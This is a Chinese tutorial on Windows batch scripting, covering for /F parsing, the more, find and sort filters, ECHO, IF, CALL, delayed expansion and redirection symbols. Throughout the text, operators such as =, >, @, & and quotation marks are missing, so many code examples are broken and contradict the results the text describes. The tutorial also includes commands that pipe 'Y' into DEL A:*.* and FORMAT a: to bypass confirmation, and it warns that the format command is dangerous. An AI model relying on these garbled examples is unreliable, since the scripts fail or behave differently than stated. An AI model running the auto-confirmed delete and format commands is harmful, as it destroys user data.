[command-parameters] filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前每个文件都会被打开、读取和处理。 过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值或多个值集合调用 for 循环体。默认情况下/F 传递每个文件每一行的第一个空白分隔符号。 跳过空行。通过指定可选的“options”参数可以覆盖默认的解析行为。这是一个引用字符串它包含一个或多个关键字 以指定不同的解析选项。关键字是 关键字 说明 eolc                     指定行尾注释字符只一个字符 skipn                   指定在文件的开头跳过的行数。 delimsxxx            指定定界符集合。这将替换空格和制表符的默认分隔符集。 tokensx,y,m-n     指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。                               m-n 格式是一个范围指定从mth 到 nth 的令牌。                               如果在令牌 字符串中最后一个字符是星号则将分配附加的变量                               并在解析最后一个令牌后在行上接收剩余的文本。 usebackq              指定将右引号字符串作为命令执行单引号字符串是文字字符串命令                               您可以使用双引号包括 filenameset 中的文件名。 变量替换 此外已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法对于任何变量 I 变量(使用修改程序)   说明 %~I         展开删除了周围的任何引号 () 的 %I %~fI        将 %I 展开到完全合格的路径名 %~dI       只将 %I 展开到驱动器号 %~pI       只将 %I 展开到路径 %~nI       只将 %I 展开到文件名 %~xI       只将 %I 展开到文件扩展名 %~sI       展开路径以只包含短名称 %~aI       将 %I 展开到文件的文件属性 %~tI        将 %I 展开到文件的日期/时间 %~zI       将 %I 展开到文件大小 %~$PATH:I         搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名或搜索后没有找到文件则此修改程序将扩展为空字符串。   修改程序可以合并以获得复杂的结果 变量使用合并的修改程序 说明 %~dpI     只将 %I 展开到驱动器号和路径 %~nxI     只将 %I 展开到文件名和扩展名 %~fsI      将 %I 展开到只包含短名称的完整路径名 %~dp$PATH:I     在 PATH 环境变量所列出的目录中搜索 %I并展开到第一个找到结果的驱动器号和路径 %~ftzaI               将 %I 扩展到与 dir 相似的输出行 注意 在上述范例中%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法。 使用大写变量名例如 %I可以使代码更具可读性并且避免与不区分大小写的修改程序混淆。 Shift 更改批处理文件中可替换参数的位置。 shift 启用命令扩展Windows 2000 中的默认设置后shift 命令支持 /n 开关该开关通知命令在第 n 个参数处开始更改n 可以是从 0 到 8 的任何一个值。例如 SHIFT /2 将 %3 改为 %2将 %4 改为 %3 等等而 %0 和 %1 保持不变。 筛选器命令 筛选器命令可以帮助您排序、查看和选择部分命令输出结果。 通过筛选器命令传递信息 筛选器命令可以划分、重排以及提取通过的部分信息好啊作。Windows 2000 有三个筛选器命令 more 命令每次显示一屏文件内容或命令输出。         find 命令在文件和命令输出中搜索指定字符。         sort 命令按字母顺序排列文件和命令输出。 要将输入从文件发送到筛选器命令请使用小于符号 ()。如果要筛选器命令从其他命令获得输入请使用管道 (|)。 使用 more 命令来控制屏幕显示 more 命令每次一屏地显示文件的内容或命令输出。例如下面的 more 命令每次显示一屏 List.txt 文件的内容         more list.txt 信息显示一屏后会出现字“More”。要继续显示下一屏请按键盘上任意键。要停止命令且不查看详细信息请按CTRLC 键。 如果使用产生多屏输出的命令more 将十分有用。例如假设定要查看硬盘的目录树。如果 Windows 2000 不能将目录在一屏内全部显示出来请使用带管道号 (|) 和 more 命令的 tree 命令如下例所示         tree c:\ | more tree 命令的第一屏输出被显示后跟词“More”。Windows 2000 暂停直到用户按键盘上的任意键为止PAUSE 键除外。 使用 find 命令搜索文本 find 命令在一个或多个文件中搜索指定文本。Windows 2000 显示每个包含该文本的行。find 命令可以用作筛选器命令或者标准的 Windows 2000 命令。有关将 find 用作标准的 Windows 2000 命令的信息请单击“相关主题”列表中的find。 要将 find 当作筛选器命令使用请包含小于符号 () 和搜索的文件名。当输入文件名时请记住搜索要区分大小写。 例如下面的命令查找文件 Trade.txt 中所有的“Pacific Rim”字符串         find Pacific Rim trade.txt 要保存 find 命令的输出而不是显示输出请使用大于号 () 和要存储输出的文件名。例如下面的命令查找文件 Trade.txt 中所有的“Pacific Rim”字符串并将结果保存在 Nwtrade.txt 文件中         find Pacific Rim trade.txt nwtrade.txt   对文本文件排序 sort 命令按字母顺序排列文本文件或命令的输出。例如可以使用以下命令对 List.txt 文件的内容进行排序。 并在屏幕上显示结果sort list.txt 在此范例中sort 命令对 List.txt 文件的行进行排序并显示结果但不更改文件。要保存 sort 命令的输出而不是显示输出请在命令中包含大于号 () 和文件名。例如可以使用以下命令对 List.txt 文件的行按字母顺序排序并将结果存到 Alphlist.txt 文件中sort list.txt alphlist.txt 要排序命令的输出请键入后面带有管道 (|) 和 sort 命令的命令。例如下面的命令对 find 命令的输出结果进行排序 find Jones maillst.txt | sort 在键入该命令时Windows 2000 按字母顺序列出在其中出现“Jones”的行。   带重定向符的合并命令 可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如可以使用以下命令存储包含“LOG”字符串的文件名:         dir /b | find LOG loglist.txt Windows 2000 通过 find 过滤器命令发送 dir 命令的输出并将包含字符串“Log”的文件名存储在 Loglist.txt 文件中。将结果存储为文件名列表如A.log、Logdat.svd 和 Mylog.bat。 要在相同命令中使用多个筛选器请使用管道 (|) 分隔筛选器。例如下面的命令搜索 C 盘上的每个目录以查找包含“Log”字符串的文件名并且每次显示一屏         dir c:\ /s /b | find LOG | more 因为使用管道 (|)Windows 2000 通过 find 命令发送 dir 命令的输出结果。find 命令只选择包含字符串“Log”的文件名。more 命令每次一屏地显示 find 命令选择的文件名。 More 每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令或者使用它控制其他命令的输出例如 type 命令。当显示填充可用的查看区域时将出现 more 提示用户可以输入许多命令来控制查看文件其余部分的方式。 command name | more [/c] [/p] [/s] [/tn] [n] more [[/c] [/p] [/s] [/tn] [n]] [drive:][path] filename more [/c] [/p] [/s] [/tn] [n] [files] 参数 [drive:][path] filename     指定要显示的文件。 command name     指定将显示其输出的命令。 /c     显示页面前清除屏幕。 /p     扩展换页符。 /s     将多个空白行更改为一个空白行。 /tn     将制表位更改为 n 个空格 n     显示由 n 指定的行开始的第一个文件。 files     指定要显示的文件列表。用空格分隔文件名。   More 子命令 以下命令在 more 提示 (-- More --) 下接受。 关键字             动作 space         显示下一页。 ENTER      显示下一行。 F                显示下一个文件。 q                退出。 ?                显示可用命令。                 显示行号。 P n             显示以下 n 行。 S n             跳过下面 n 行。 Find            在一个文件或多个文件中搜索指定的文本字符串。 当搜索到指定的文件后find 将显示出包含指定字符串的所有行。         find [/v] [/c] [/n] string [[drive:][path]filename[...]] 参数         /v          显示未包含指定字符串的所有行。         /c          只显示包含指定字符串的行数。         /n          将文件行号置于每行开头。         /I          指定搜索不区分大小写。         string    指定要搜索的字符组。必须将 string 的文本包括在引号中。         [drive:][path] filename    指定要在其中搜索指定字符串的文件的位置和名称。 Sort 读取输入、排序数据并将结果写到屏幕、文件和其他设备上。 sort [/r] [/n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3] [command |] sort [/r] [/n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3] 参数 /r        颠倒排序顺序即从 Z 到 A 排序然后从 9 到 0 排序。     /n     指定字符位置号 nsort 在此处开始每次比较。               例如/3 表示每次比较在每行的第三个字符开始。少于 n 个字符的行在其他行之前排序。               默认情况下比较在每行的第一个字符开始。          /m kilobytes    指定用于排序的主内存数量按千字节 (KB) 计。使用的内存最小值总是 160 KB。                     如果指定了内存大小则无论有多少主内存可用指定的确切数量但至少 160 KB的内存将用于排序。                     如果输入输出均为文件在没有指定大小时默认最大内存大小为可用主内存的 90                     否则为主内存的 45。默认设置通常会产生最佳的性能。         /l locale       替代由系统默认区域设置定义的字符排序顺序即在安装 Windows 2000 时选择的语言和“国家地区”。                   目前默认区域设置唯一的备用选项就是“C”区域设置该区域设置比自然语言排序快根据二进制编码对字符排序。     /rec characters    指定记录或输入文件的行中的最多字符数默认值为 4096最大值为 65535。         [drive1:][path1]filename1    指定要排序的文件。如果没有指定文件名则对标准输入排序。                                                指定输入文件比将同一文件作为标准输入重定向速度快。         /t [drive2:][path2]          指定保留 sort 命令工作存储的目录路径防止数据不能装入主内存。默认为使用系统临时目录。         /o [drive3:][path3]filename3    指定要存储排序后的输入的文件。如果没有指定数据将写入标准输出。                                                     指定输出文件比将同一文件作为标准输出重定向速度快! 最全的批处理教程 第一章 批处理基础 第一节 常用批处理内部命令简介 1、REM 和 :: 2、ECHO 和 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系统设备 8、GOTO 和 : 9、FIND 10、START 11、assoc 和 ftype 12、pushd 和 popd 13、CALL 14、shift 15、IF 16、setlocal 与 变量延迟(ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION启动或停用延缓环境变量扩展名。) 17、ATTRIB显示或更改文件属性 批处理定义顾名思义批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件其扩展名为BAT或者CMD。这些命令统称批处理命令。   小知识可以在键盘上按下CtrlC组合键来强行终止一个批处理的执行过程。 了解了大概意思后,我们正式开始学习.先看一个简单的例子! echo off echo \欢迎来到非常BAT!\ pause 把上面的3条命令保存为文件test.bat或者test.cmd然后执行,他就会在屏幕上显示以下二行话:   欢迎来到非常BAT!   请按任意键继续. . . 这就是一个简单批处理文件了这个批处理文件一共就用了2条命令 \echo\ 和\pause\ 还有一个特殊符号\\ 从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么在批处理中有多少这样的特殊符号和功能命令呢我们现在就来仔细了解一下一些最常用的! 介绍命令 1、REM 和 :: REM为注释命令一般用来给程序加上注解该命令后的内容不被执行但能回显。   其次, :: 也可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意   第一, 任何以冒号:开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容。    有效标号冒号后紧跟一个以字母数字开头的字符串goto语句可以识别。    无效标号冒号后紧跟一个非字母数字的一个特殊符号goto无法识别的标号可以起到注释作用所以 :: 常被用作注释符号其实 : 也可起注释作用。   第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中。 行内注释格式%注释内容%不常用慎用 2、ECHO 和 字符放在命令前将关闭该命令回显无论此时echo是否为打开状态。 echo命令的作用列举如下 1打开回显或关闭回显功能 格式:echo [{ on|off }] 如果想关闭“ECHO OFF”命令行自身的显示则需要在该命令行前加上“”。 2显示当前ECHO设置状态 格式:echo 3输出提示信息 格式ECHO 信息内容 上述是ECHO命令常见的三种用法也是大家熟悉和会用的但作为DOS命令淘金者你还应该知道下面的技巧 4关闭DOS命令提示符 在DOS提示符状态下键入ECHO OFF能够关闭DOS提示符的显示使屏幕只留下光标直至键入ECHO ON提示符才会重新出现。 5输出空行即相当于输入一个回车 格式ECHO 值得注意的是命令行中的“”要紧跟在ECHO后面中间不能有空格否则“”将被当作提示信息输出到屏幕。 另外“”可以用”[\\]等任一符号替代。 命令ECHO输出的回车经DOS管道转向可以作为其它命令的输入比如echo.|time即相当于在TIME命令执行后给出一个回车。 所以执行时系统会在显示当前时间后自动返回到DOS提示符状态 6答复命令中的提问 格式ECHO 答复语|命令文件名 上述格式可以用于简化一些需要人机对话的命令如CHKDSKFFORMAT Drive:del *.*的操作 它是通过DOS管道命令把ECHO命令输出的预置答复语作为人机对话命令的输入。 下面的例子就相当于在调用的命令出现人机对话时输入“Y”回车 C:ECHO Y|CHKDSK/F C:ECHO Y|DEL A :*.* 7建立新文件或增加文件内容 格式ECHO 文件内容文件名 ECHO 文件内容文件名 例如 C:ECHO ECHO OFFAUTOEXEC.BAT建立自动批处理文件 C:ECHO C:\\CPAV\\BOOTSAFEAUTOEXEC.BAT向自动批处理文件中追加内容 C:TYPE AUTOEXEC.BAT显示该自动批处理文件 ECHO OFF C:\\CPAV\\BOOTSAFE 8向打印机输出打印内容或打印控制码 格式ECHO 打印机控制码RN ECHO 打印内容RN 下面的例子是向M1724打印机输入打印控制码。Alt156是按住Alt键在小键盘键入156类似情况依此类推 C:ECHO 15642116RN输入下划线命令FSt C:ECHO [urlmailto:155]155RN[/url]输入初始化命令ESC C:ECHO.RN换行 9使喇叭鸣响 C:ECHO ^G “^G”是在dos窗口中用CtrlG或Alt007输入输入多个^G可以产生多声鸣响。 使用方法是直接将其加入批处理文件中或做成批处理文件调用。 这里的“^G”属于特殊符号的使用请看本文后面的章节 3、PAUSE PAUSE玩游戏的人都知道暂停的意思在这里就是停止系统命令的执行并显示下面的内容。 例 PAUSE 运行显示 请按任意键继续. . . 要显示其他提示语可以这样用 Echo 其他提示语 pause nul 4、errorlevel 程序返回码 echo %errorlevel% 每个命令运行结束可以用这个命令行格式查看返回码用于判断刚才的命令是否执行成功默认值为0 一般命令执行出错会设 errorlevel 为1 5、title 设置cmd窗口的标题 title 新标题#可以看到cmd窗口的标题栏变了 6、COLOR 设置默认的控制台前景和背景颜色。 COLOR [attr] attr指定控制台输出的颜色属性 颜色属性由两个十六进制数字指定 -- 第一个为背景第二个则为前景。 每个数字可以为以下任何值之一: 0 黑色 8 灰色 1 蓝色 9 淡蓝色 2 绿色 A 淡绿色 3 湖蓝色 B 淡浅绿色 4 红色 C 淡红色 5 紫色 D 淡紫色 6 ** E 淡** 7 白色 F 亮白色 如果没有给定任何参数该命令会将颜色还原到 CMD.EXE 启动时的颜色。 这个值来自当前控制台窗口、/T 开关或DefaultColor 注册表值。 如果用相同的前景和背景颜色来执行 COLOR 命令COLOR 命令会将 ERRORLEVEL 设置为 1。 例如: \COLOR fc\ 在亮白色上产生亮红色 7、mode 配置系统设备 配置系统设备。 串行口:    MODE COMm[:] [BAUDb] [PARITYp] [DATAd] [STOPs] [toon|off] [xonon|off] [odsron|off] [octson|off] [dtron|off|hs] [rtson|off|hs|tg] [idsron|off] 设备状态: MODE [device] [/STATUS] 打印重定向:   MODE LPTn[:]COMm[:] 选定代码页:   MODE CON[:] CP SELECTyyy 代码页状态:   MODE CON[:] CP [/STATUS] 显示模式:   MODE CON[:] [COLSc] [LINESn] 击键率:  MODE CON[:] [RATEr DELAYd] 例 mode con cols113 lines15 color 9f 此命令设置DOS窗口大小15行113列   8、GOTO 和 : GOTO会点编程的朋友就会知道这是跳转的意思。 在批处理中允许以“:XXX”来构建一个标号然后用GOTO XXX跳转到标号:XXX处然后执行标号后的命令。 例 if {%1}{} goto noparms if \%2\\\ goto noparms 标签的名字可以随便起但是最好是有意义的字符串啦前加个冒号用来表示这个字符串是标签 goto命令就是根据这个冒号:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 例 echo off :start set /a var1 echo %var% if %var% leq 3 GOTO start pause 运行显示 1 2 3 4 9、find 在文件中搜索字符串。 FIND [/V] [/C] [/N] [/OFF[LINE]] \string\ [[drive:][path]filename[ ...]] /V显示所有未包含指定字符串的行。 /C仅显示包含字符串的行数。 /N显示行号。 /I搜索字符串时忽略大小写。 /OFF[LINE] 不要跳过具有脱机属性集的文件。 \string\指定要搜索的文字串 [drive:][path]filename 指定要搜索的文件。 如果没有指定路径FIND 将搜索键入的或者由另一命令产生的文字。 Find常和type命令结合使用 Type [drive:][path]filename | find \string\ [tmpfile] #挑选包含string的行 Type [drive:][path]filename | find /v \string\ #剔除文件中包含string的行 Type [drive:][path]filename | find /c #显示文件行数 以上用法将去除find命令自带的提示语文件名提示 例 echo off echo 111 test.txt echo 222 test.txt find \111\ test.txt del test.txt pause 运行显示如下 ---------- TEST.TXT 111 请按任意键继续. . . 例 echo off echo 111 test.txt echo 222 test.txt type test.txt|find \111\ del test.txt pause 运行显示如下 111 请按任意键继续. . . 10、start 命令 批处理中调用外部程序的命令该外部程序在新窗口中运行批处理程序继续往下执行不理会外部程序的运行状况   如果直接运行外部程序则必须等外部程序完成后才继续执行剩下的指令   例start explorer d:\\   调用图形界面打开D盘 11、assoc 和 ftype 文件关联 assoc 设置#39;文件扩展名关联关联到文件类型 ftype 设置#39;文件类型关联关联到执行程序和参数 当你双击一个.txt文件时windows并不是根据.txt直接判断用 notepad.exe 打开 而是先判断.txt属于 txtfile #39;文件类型 再调用 txtfile 关联的命令行 txtfile%SystemRoot%\\system32\\NOTEPAD.EXE %1 可以在\文件夹选项\→\文件类型\里修改这2种关联 assoc #显示所有#39;文件扩展名关联 assoc .txt#显示.txt代表的#39;文件类型结果显示 .txttxtfile assoc .doc#显示.doc代表的#39;文件类型结果显示 .docWord.Document.8 assoc .exe#显示.exe代表的#39;文件类型结果显示 .exeexefile ftype #显示所有#39;文件类型关联 ftype exefile #显示exefile类型关联的命令行结果显示 exefile\%1\ %* assoc .txtWord.Document.8 设置.txt为word类型的文档可以看到.txt文件的图标都变了 assoc .txttxtfile 恢复.txt的正确关联 ftype exefile\%1\ %* 恢复 exefile 的正确关联 如果该关联已经被破坏可以运行 command.com 再输入这条命令 12、pushd 和 popd 切换当前目录 echo off c: cd\\ md mp3 #在 C:\\ 建立 mp3 文件夹 md d:\\mp4 #在 D:\\ 建立 mp4 文件夹 cd /d d:\\mp4#更改当前目录为 d:\\mp4 pushd c:\\mp3#保存当前目录并切换当前目录为 c:\\mp3 popd#恢复当前目录为刚才保存的 d:\\mp4 一般用处不大在当前目录名不确定时会有点帮助。dos编程中很有用 13、CALL CALL命令可以在批处理执行过程中调用另一个批处理当另一个批处理执行完后再继续执行原来的批处理 CALL command 调用一条批处理命令和直接执行命令效果一样特殊情况下很有用比如变量的多级嵌套见教程后面。 在批处理编程中可以根据一定条件生成命令字符串用call可以执行该字符串见例子。 CALL [drive:][path]filename [batch-parameters] 调用的其它批处理程序。filename 参数必须具有 .bat 或 .cmd 扩展名。 CALL :label arguments 调用本文件内命令段相当于子程序。被调用的命令段以标签:label开头 以命令goto :eof结尾。 另外批脚本文本参数参照(%0、%1、等等)已如下改变: 批脚本里的 %* 指出所有的参数(如 %1 %2 %3 %4 %5 ...) 批参数(%n)的替代已被增强。您可以使用以下语法:看不明白的直接运行后面的例子 %~1 - 删除引号(\)扩充 %1 %~f1- 将 %1 扩充到一个完全合格的路径名 %~d1- 仅将 %1 扩充到一个驱动器号 %~p1- 仅将 %1 扩充到一个路径 %~n1- 仅将 %1 扩充到一个文件名 %~x1- 仅将 %1 扩充到一个文件扩展名 %~s1- 扩充的路径指含有短名 %~a1- 将 %1 扩充到文件属性 %~t1- 将 %1 扩充到文件的日期/时间 %~z1- 将 %1 扩充到文件的大小 %~$PATH : 1 - 查找列在 PATH 环境变量的目录并将 %1 扩充到找到的第一个完全合格的名称。如果环境 变量名未被定义或者没有找到文件此组合键会 扩充到空字符串 可以组合修定符来取得多重结果: %~dp1 - 只将 %1 扩展到驱动器号和路径 %~nx1 - 只将 %1 扩展到文件名和扩展名 %~dp$PATH:1 - 在列在 PATH 环境变量中的目录里查找 %1 并扩展到找到的第一个文件的驱动器号和路径。 %~ftza1 - 将 %1 扩展到类似 DIR 的输出行。 在上面的例子中%1 和 PATH 可以被其他有效数值替换。 %~ 语法被一个有效参数号码终止。%~ 修定符不能跟 %*使用 注意参数扩充时不理会参数所代表的文件是否真实存在均以当前目录进行扩展 要理解上面的知识下面的例子很关键。 例 echo off Echo 产生一个临时文件 tmp.txt Rem 下行先保存当前目录再将c:\\windows设为当前目录 pushd c:\\windows Call :sub tmp.txt Rem 下行恢复前次的当前目录 Popd Call :sub tmp.txt pause Del tmp.txt exit :sub Echo 删除引号 %~1 Echo 扩充到路径 %~f1 Echo 扩充到一个驱动器号 %~d1 Echo 扩充到一个路径 %~p1 Echo 扩充到一个文件名 %~n1 Echo 扩充到一个文件扩展名 %~x1 Echo 扩充的路径指含有短名 %~s1 Echo 扩充到文件属性 %~a1 Echo 扩充到文件的日期/时间 %~t1 Echo 扩充到文件的大小 %~z1 Echo 扩展到驱动器号和路径%~dp1 Echo 扩展到文件名和扩展名%~nx1 Echo 扩展到类似 DIR 的输出行%~ftza1 Echo. Goto :eof 例 set aa123456 set cmdstrecho %aa% call %cmdstr% pause 本例中如果不用call而直接运行%cmdstr%将显示结果%aa%而不是123456 14、shift 更改批处理文件中可替换参数的位置。 SHIFT [/n] 如果命令扩展名被启用SHIFT 命令支持/n 命令行开关该命令行开关告诉 命令从第 n 个参数开始移位n 介于零和八之间。例如: SHIFT /2 会将 %3 移位到 %2将 %4 移位到 %3等等并且不影响 %0 和 %1。 15、IF IF 条件判断语句语法格式如下 IF [NOT] ERRORLEVEL number command IF [NOT] string1string2 command IF [NOT] EXIST filename command 下面逐一介绍更详细的分析请看后面章节。 (1) IF [NOT] ERRORLEVEL number command IF ERRORLEVEL这个句子必须放在某一个命令的后面执行命令后由IF ERRORLEVEL 来判断命令的返回值。 Number的数字取值范围0~255判断时值的排列顺序应该由大到小。返回的值大于等于指定的值时条件成立 例 echo off dir c: rem退出代码为1就跳至标题1处执行0就跳至标题0处执行 IF ERRORLEVEL 1 goto 1 IF ERRORLEVEL 0 goto 0 Rem 上面的两行不可交换位置否则失败了也显示成功。 :0 echo 命令执行成功 Rem 程序执行完毕跳至标题exit处退出 goto exit :1 echo 命令执行失败 Rem 程序执行完毕跳至标题exit处退出 goto exit :exit pause 运行显示命令执行成功 (2) IF [NOT] string1string2 command string1和string2都为字符的数据英文内字符的大小写将看作不同这个条件中的等于号必须是两个绝对相等的意思 条件相等后即执行后面的command 检测当前变量的值做出判断为了防止字符串中含有空格可用以下格式 if [NOT] {string1}{string2} command if [NOT] [string1][string2] command if [NOT] \string1\\string2\ command 这种写法实际上将括号或引号当成字符串的一部分了只要等号左右两边一致就行了比如下面的写法就不行 if {string1}[string2] command (3) IF [NOT] EXIST filename command EXIST filename为文件或目录存在的意思 echo off IF EXIST autoexec.bat echo 文件存在 IF not EXIST autoexec.bat echo 文件不存在 这个批处理大家可以放在C盘和D盘分别执行看看效果 16、setlocal 与 变量延迟 本条内容引用[英雄出品]的批处理教程 要想进阶变量延迟是必过的一关所以这一部分希望你能认真看。 为了更好的说明问题我们先引入一个例子。 例1: echo off set a4 set a5 echo %a% pause 结果4 解说为什么是4而不是5呢在echo之前明明已经把变量a的值改成5了 让我们先了解一下批处理运行命令的机制 批处理读取命令时是按行读取的另外例如for命令等其后用一对圆括号闭合的所有语句也当作一行 在处理之前要完成必要的预处理工作这其中就包括对该行命令中的变量赋值。 我们现在分析一下例1批处理在运行到这句“set a5 echo %a%”之前先把这一句整句读取并做了预处理——对变量a赋了值 那么%a%当然就是4了没有为什么批处理就是这样做的。 而为了能够感知环境变量的动态变化批处理设计了变量延迟。 简单来说在读取了一条完整的语句之后不立即对该行的变量赋值而会在某个单条语句执行之前再进行赋值 也就是说“延迟”了对变量的赋值。 那么如何开启变量延迟呢变量延迟又需要注意什么呢举个例子说明一下 例2: echo off setlocal enabledelayedexpansion set a4 set a5 echo !a! pause 结果5 解说启动了变量延迟得到了正确答案。变量延迟的启动语句是“setlocal enabledelayedexpansion” 并且变量要用一对叹号“!!”括起来注意要用英文的叹号否则就没有变量延迟的效果。 分析一下例2首先“setlocal enabledelayedexpansion”开启变量延迟然后“set a4”先给变量a赋值为 4“set a5 echo !a!”这句是给变量a赋值为5并输出 由于启动了变量延迟所以批处理能够感知到动态变化即不是先给该行变量赋值 而是在运行过程中给变量赋值因此此时a的值就是5了。 再举一个例子巩固一下。 例3: echo off setlocal enabledelayedexpansion for /l %%i in (1,1,5) do ( set a%%i echo !a! ) pause 结果 1 2 3 4 5 解说本例开启了变量延迟并用“!!”将变量扩起来因此得到我们预期的结果。如果不用变量延迟会出现什 么结果呢结果是这样的 ECHO 处于关闭状态。 ECHO 处于关闭状态。 ECHO 处于关闭状态。 ECHO 处于关闭状态。 ECHO 处于关闭状态。 即没有感知到for语句中的动态变化。 提示在没有开启变量延迟的情况下某条命令行中的变量改变必须到下一条命令才能体现。这一点也可以加以利用看例子。 例交换两个变量的值且不用中间变量 echo off ::目的交换两个变量的值但是不使用临时变量 ::Code by JM 2007-1-24 [urlmailto:CMDXP]CMDXP[/url] ::出处http://www.cn-dos.net/forum/viewthread.php?tid27078 set var1abc set var2123 echo 交换前 var1%var1% var2%var2% set var1%var2% set var2%var1% echo 交换后 var1%var1% var2%var2% pause 17、ATTRIB显示或更改文件属性 ATTRIB [R|-R] [A|-A] [S|-S] [H|-H] [[drive:] [path] filename] [/S [/D]]        设置属性。     -    清除属性。     R    只读文件属性。     A    存档文件属性。     S    系统文件属性。     H    隐藏文件属性。     [drive:][path][filename]    指定要处理的文件属性。     /S    处理当前文件夹及其子文件夹中的匹配文件。     /D    也处理文件夹。 例         md autorun         attrib a s h autorun 上面的命令将建立文件夹 autorun然后将其设为存档、系统、隐藏属性 第二节 常用特殊符号 1、命令行回显屏蔽符 2、%批处理变量引导符 3、 重定向符 4、重定向符 5、、、 重定向符 6、|命令管道符 7、^转义字符 8、组合命令 9、 组合命令 10、||组合命令 11、\\字符串界定符 12、, 逗号 13、; 分号 14、() 括号 15、! 感叹号 批处理中可能会见到的其它特殊标记符: 略   CR(0D) 命令行结束符   Escape(1B) ANSI转义字符引导符   Space(20) 常用的参数界定符   Tab(09) ; 不常用的参数界定符    COPY命令文件连接符   * ? 文件通配符   / 参数开关引导符   : 批处理标签引导符   废话少说开讲了 1、 命令  行回显屏蔽符   这个字符在批处理中的意思是关闭当前行的回显。我们从前几课知道   ECHO OFF可以关闭掉整个批处理命令的回显但不能关掉ECHO OFF这个命令         现在我们在ECHO OFF这个命令前加个就可以达到所有命令均不回显的要求 2、%  批处理变量引导符 这个百分号严格来说是算不上命令的它只是批处理中的参数而已多个%一起使用的情况除外以后还将详细介绍。   引用变量用 %var%调用程序外部参数用 %1 至 %9 等等   %0、%1、%2、%3、%4、%5、%6、%7、%8、%9、%* 为命令行传递给批处理的参数   %0     批处理文件本身包括完整的路径和扩展名   %1     第一个参数   %9     第九个参数   %*     从第一个参数开始的所有参数   参数 %0 具有特殊的功能可以调用批处理自身以达到批处理本身循环的目的也可以复制文件自身等等。 例最简单的复制文件自身的方法          copy %0 d:\\wind.bat 小技巧添加行内注释   %注释内容%可以用作行内注释不能出现重定向符号和管道符号   为什么这样呢此时“注释内容”其实被当作变量其值是空的故只起注释作用。        不过这种用法容易出现语法错误一般不用。 3、  重定向符 输出重定向命令。   这个字符的意思是传递并且覆盖他所起的作用是将运行的结果传递到后面的范围        (后边可以是文件也可以是默认的系统控制台)   在NT系列命令行中重定向的作用范围由整个命令行转变为单个命令语句受到了命令分隔符,,||和语句块的制约限制。 比如           使用命令echo hello 1.txt将建立文件1.txt内容为”hello “注意行尾有一空格           使用命令echo hello1.txt将建立文件1.txt内容为”hello“注意行尾没有空格 4、 重定向符 输出重定向命令   这个符号的作用和有点类似但他们的区别是是传递并在文件的末尾追加而是覆盖   用法同上   同样拿 1.txt 做例子   使用命令           echo hello 1.txt           echo world 1.txt   这时候1.txt 内容如下:   hello   world 5、、、   重定向符 这三个命令也是管道命令但它们一般不常用你只需要知道一下就ok了。          输入重定向命令从文件中读入命令输入而不是从键盘中读入。 echo off   echo 2005-05-01temp.txt   date TEMP.TXTdel temp.txt   这样就可以不等待输入直接修改当前日期   将一个句柄的输出写入到另一个句柄的输入中。   刚好和相反从一个句柄读取输入并将其写入到另一个句柄输出中。   常用句柄0、1、2未定义句柄3—9   1nul 表示禁止输出正确的信息   2nul 表示禁止输出错误信息。   其中的1与2都是代表某个数据流输入输出的地址NT CMD 称之为句柄MSDOS称之为设备。   句柄0标准输入stdin键盘输入   句柄1标准输出stdout输出到命令提示符窗口console代码为CON   句柄2标准错误stderr输出到命令提示符窗口console代码为CON   其中的stdin可被重定向stdout可被、重定向。   我们已经知道读取文本中的内容可以用for命令但如果只需要读取第一行用for命令就有点麻烦。简单的办法如下:   echo off   set /p str%0   echo %str%   pause   运行显示批处理文件自身的第一行echo off 6、| 命令 管道符 格式第一条命令 | 第二条命令 [| 第三条命令...]   将第一条命令的结果作为第二条命令的参数来使用记得在unix中这种方式很常见。   例如   dir c:\\|find \txt\   以上命令是查找C\\所有并发现TXT字符串。   FIND的功能请用 FIND /? 自行查看   在不使format的自动格式化参数时我是这样来自动格式化A盘的   echo y|format a: /s /q /v:system   用过format的都知道再格盘时要输入y来确认是否格盘这个命令前加上echo y并用|字符来将echo y的结果传给format命令   从而达到自动输入y的目的   这条命令有危害性测试时请慎重 7、^  转义字符 ^ 是对特殊符号,,的前导字符在命令中他将以上3个符号的特殊功能去掉仅仅只把他们当成符号而不使用他们的特殊意义。   比如   echo test ^1.txt   结果则是test 1.txt   他没有追加在1.txt里呵呵。只是显示了出来   另外此转义字符还可以用作续行符号。   举个简单的例子   echo off   echo 英雄^   是^   好^   男人   pause   不用多说自己试一下就明白了。   为什么转义字符放在行尾可以起到续行符的作用呢         原因很简单因为每行末尾还有一个看不见的符号即回车符转义字符位于行尾时就让回车符失效了从而起到了续行的作用。 8、组合命令 语法第一条命令 第二条命令 [ 第三条命令...]   、、||为组合命令顾名思义就是可以把多个命令组合起来当一个命令来执行。         这在批处理脚本里是允许的而且用的非常广泛。因为批处理认行不认命令数目。   这个符号允许在一行中使用2个以上不同的命令当第一个命令执行失败了也不影响后边的命令执行。   这里两边的命令是顺序执行的从前往后执行。   比如   dir z:\\ dir y:\\ dir c:\\   以上命令会连续显示z,y,c盘的内容不理会该盘是否存在 9、  组合命令 语法第一条命令 第二条命令 [ 